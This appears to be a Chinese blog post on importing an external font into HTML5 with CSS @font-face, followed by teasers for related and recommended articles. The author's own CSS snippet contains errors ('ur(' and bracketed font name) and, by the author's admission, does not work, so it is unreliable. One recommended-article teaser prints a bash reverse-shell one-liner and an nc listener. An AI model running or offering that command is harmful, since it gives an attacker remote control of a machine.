HTML5如何引入外部字体

背景

现在我需要 “Montserrat-ExtraLight ExtraLight”类型的字体，但是html的font-family中找不到这个类型的字体。

于是我需要下载该类型的字体，并通过CSS将它引入html文档中。

方法

准备好下载的字体文件

在CSS文件中写入：

@font-face{

    font-family: <Montserrat-ExtraLight>;

    src:ur('./fonts/Montserrat-ExtraLight.pfb.ttf') format('truetype');

    font-weight:normal;

    font-style:normal;

}

其中src根据自己放置的字体文件路径填写。

但是我还没有成功

HTML引入外部字体的更多相关文章

  1. css引入外部字体使网站字体更美观

    @font-face{font-family: myFont;src:url("../font/timesi.ttf");src:url("../font/timesbi ...

  2. CSS引入外部字体方法，附可用demo

    有时候我们做的页面需要用到一些更好看的字体又不想用图片代替,图片会影响加载速度则使用外部字体来显示但是直接通过font-family又不一定全部都行这就需要我们在css中进行定义并且引入字体文件路径然 ...

  3. 006-CSS引入外部字体

    我们制作页面css,设置字体,可能会需要加入一些比较特殊的字体,这时候就需要引入这些字体. 方法如下: @font-face { font-family: KuTang;/*定义字体的名字*/ src ...

  4. JS 计算时间差，（引入外部字体文件）

    JavaScript Date() 对象: new Date() :时间对象,会把当前时间作为其初始值: setFullYear() :用于设置月份,可有三个参数,setFullYear(year,m ...

  5. 微信小程序如何引入外部字体库iconfont的图标

    每天学习一点点 编程PDF电子书.视频教程免费下载:http://www.shitanlife.com/code 微信小程序不能识别很多文件, 其中就包括外部的字体文件. 那我们怎么突破他的防火线呢, ...

  6. css如何引入外部字体？

    第一步,在CSS中引入字体并给名字取一个合适的名字,如下 1 2 3 4 5 6 7 @font-face {     /* font-properties */     font-family: p ...

  7. 页面引入外部字体ttf，如何提取所需要的ttf字体或者加载过慢的解决方法-1127更新

    最近几天编写手机端的页面之后,文中需要华文行楷字体,在网上下载后,引入到了自己的前端页面,以为没有什么事了,继续码代码 @font-face { font-family:huawen; src: ur ...

  8. vue项目引入外部字体

    1.UI设计图有"华文黑体",担心客户端没有该字体,将"huawen.ttf"字体文件,放入项目中: 2.创建一个font.scss(或font.css)文件: ...

  9. 不同浏览器css引入外部字体的方式

    /** * 字体后缀和浏览器有关,如下所示 * .TTF或.OTF,适用于Firefox 3.5.Safari.Opera * .EOT,适用于Internet Explorer 4.0+ * .SV ...

随机推荐

  1. Docker - 解决重新进入容器后，环境变量失效的问题

    问题背景 在容器中,在 /etc/profile . /etc/environment 设置了环境变量 退出容器,重新进入容器 刚刚设置的环境变量失效了 解决办法 将环境变量设置在 /root/.ba ...

  2. java字符串大小写转换的两种方法

    转载自:飞扬青春sina blogjava字符串大小写转换的两种方法 import java.io..* public class convertToPrintString {          pu ...

  3. 性能问题eg

    线上问题 ./pidstat -w Linux 3.6.5-Broadcom Linux ((none)) 03/21/20 _armv7l_ (1 CPU) 15:04:17 UID PID csw ...

  4. ubuntu使用iso作为本地源

    方式一(路径不要改): 挂载光驱到到本地的指定目录 mount /dev/cdrom /media/cdrom 然后执行: apt-cdrom -m -d /media/cdrom add 会写配置文 ...

  5. 彻底卸载MySQL5.7(msi,exe)版

    1,停止MySQL服务 2,右键找到任务管理器 3,在程序中卸载MySQL 4,删除MySQL安装目录 有的是在C:\Program Files下,我的是在(X86)下 5,删除隐藏文件中的MySQL ...

  6. Python_爬虫项目

    1.爬虫--智联招聘信息搜集    原文链接 1 #-*- coding: utf-8 -*- 2 import re 3 import csv 4 import requests 5 from tq ...

  7. K8S环境的Jenkin性能问题描述

    Return Homezq2599 CnBlogsHomeContactAdminPosts - 75 Articles - 0 Comments - 16 K8S环境的Jenkin性能问题处理 环境 ...

  8. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  9. 阿里云的nginx的https配置问题

    server { listen 443 ssl; server_name www.xxx域名.com; root html; index index.html index.html; ssl_cert ...

  10. 记php多张图片 合并生成竖列 纵向长图（可用于商品详情图合并下载）

    <?php namespace app\mapi\common\image; /** * 拼接多幅图片成为一张图片 * * 参数说明:原图片为文件路径数组,目的图片如果留空,则不保存结果 * * ...